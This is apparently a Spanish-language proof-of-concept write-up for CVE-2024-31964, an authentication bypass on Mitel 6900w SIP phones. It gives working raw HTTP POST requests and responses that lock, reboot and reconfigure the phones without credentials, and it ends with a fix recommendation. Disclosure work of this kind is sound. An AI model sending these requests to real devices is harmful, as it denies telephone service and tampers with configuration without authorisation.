d-raco/cve-2024-31964Exploit de prueba de concepto para CVE-2024-31964, una omisión temporal de autenticación en teléfonos SIP Mitel serie 6900w que permite solicitudes POST no autenticadas para modificar la configuración del dispositivo y realizar denegación de servicio.
CVE-2024-31964 PoC: Teléfono SIP de la serie Mitel 6900w: bypass temporal de autenticación
Consiste en una vulnerabilidad de bypass temporal de autenticación en el panel web administrativo HTTP de varios productos Mitel.
Permite a un atacante modificar la configuración del dispositivo y realizar ataques de denegación de servicio contra el dispositivo afectado.
Un usuario debe haber iniciado sesión correctamente minutos antes y desde la misma IP de origen que el atacante.
CVSS propuesto:
Aviso: Aviso de seguridad de producto Mitel 24-0007
Este CVE se encontró mientras se auditaban 3 teléfonos SIP con las siguientes propiedades (este CVE se probó con éxito contra estos 3 modelos de dispositivo):
Según el aviso de Mitel, afecta a más productos, pero no tuve acceso a ninguno de ellos para verificarlo.
Generalmente, para acceder a cualquier recurso del panel web de control/administración de Mitel, es necesario realizar solicitudes con la cabecera "Authorization", que establece las credenciales del usuario que intenta acceder.
Ejemplo de solicitud autenticada:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
En caso de que esta cabecera no esté establecida, obtenemos un error "Unauthorized" y se nos pide autenticarnos, requiriendo las credenciales.
Solicitud GET no autenticada:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Respuesta:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
Sin embargo, resulta que todas las solicitudes POST de la aplicación pueden realizarse sin establecer la cabecera Authorization, es decir, como usuario no autenticado, siempre que un usuario legítimo haya iniciado sesión previamente desde la misma IP de origen que el atacante, y durante un tiempo limitado (se ha medido que la ventana de tiempo es de aproximadamente 8 minutos). Es decir, si un usuario legítimo inicia sesión en el sitio web de administración del dispositivo, hay una ventana de unos 8 minutos durante la cual un atacante con la misma IP que el usuario conectado podría realizar solicitudes POST no autenticadas, sin necesidad de conocer las credenciales. La vulnerabilidad es bastante restrictiva debido al requisito de compartir la IP con un usuario legítimo, pero en los casos en que se comparte un PC, o se accede a los equipos a través del mismo servidor proxy, las posibilidades de explotación serían mayores.
Mediante solicitudes POST es posible cambiar contraseñas de usuario (requiere conocimiento previo de la contraseña), bloquear/desbloquear el dispositivo, reiniciar el dispositivo, subir archivos CSV de contactos, configurar el servidor de configuración, etc.
Por ejemplo, si intentamos bloquear el dispositivo sin la cabecera Authorization, vemos que el dispositivo queda efectivamente bloqueado, denegando su servicio al usuario, y también podemos reiniciar el teléfono, denegando temporalmente el servicio por completo. Como prueba rápida, también hemos modificado efectivamente las teclas de marcación rápida y el servidor de configuración.
Ejemplo de solicitud de bloqueo de teléfono no autenticada:
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Respuesta no autenticada correcta:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
Además, podemos solicitar un reinicio del dispositivo:
Y usar ping para verificar la pérdida temporal de conectividad:
Podemos cambiar la mayoría de los parámetros... Por ejemplo, el servidor FTP:
La cabecera Authorization debería ser siempre obligatoria y validada, y/o la sesión debería gestionarse mediante cookies, no mediante IPs de origen.